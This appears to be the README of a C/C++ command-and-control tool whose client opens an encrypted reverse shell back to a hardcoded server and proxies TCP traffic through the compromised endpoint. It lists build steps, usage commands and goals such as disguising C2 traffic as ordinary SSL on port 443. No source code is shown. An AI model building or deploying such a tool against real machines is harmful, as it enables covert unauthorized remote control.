• stress testing & optimisation pass
• clean up libvterm (remove glib requirement) (or move to new libvterm for VT220 support)

1. install dependencies as per your distro
   • python (2 or 3)
   • libssl-dev
   • ncurses-dev
2. make
3. ... profit

1. brew install python
2. brew install gsl
3. brew install glib
4. make
5. ... profit

• Written in C/C++
• Terminal emulation (vt100) using modified libvterm
• Communications encrypted using OpenSSL (TLSv1)
• (new) Supports proxy of TCP traffic from both client/server end for multiple routes
• Tested on Arch/Kali/Ubuntu and OSX

./server [port] - start c2 server (default port is 443)
./client [ip] [port] - launch connect back shell (default is 127.0.0.1:443)

To configure proxy routes edit '.proxies' in server directory. An example is provided below:

# .proxies example file
# <src_port> <dst_ip> <dst_port>

# example route 1
1337 127.0.0.1 9447

# example route 2
9001 192.168.1.112 9002

• (done) OSX or Linux endpoint control
• (done) Connects back and provides a shell to a hardcoded C2
• (done) Provides full tty emulation
• (done) Communication is encrypted

• (done) Communications to C2 mimic legitimate traffic (i.e. SSL on port 443)
• (done) Platform independent across OSX and Linux
• (done) Ability to proxy traffic through endpoint

• No window refresh after resizing. (issues with ncurses SIGWINCH handling atm)

• https://sourceforge.net/projects/libvterm/
• https://stackoverflow.com/questions/16382252/how-to-render-a-remote-ncurses-console
• https://www.linusakesson.net/programming/tty/
• https://stackoverflow.com/questions/11705815/client-and-server-communication-using-ssl-c-c-ssl-protocol-dont-works
• https://www.lundman.net/cvs/viewvc.cgi/lundman/lion/src/tls.c?revision=1.10&view=markup
• https://funcptr.net/2012/04/08/openssl-as-a-filter-%28or-non-blocking-openssl%29/
• https://h71000.www7.hp.com/doc/83final/ba554_90007/ch04s03.html
• https://stackoverflow.com/questions/16381628/openssl-non-blocking-sockets-ssl-read-still-blocks

TBC.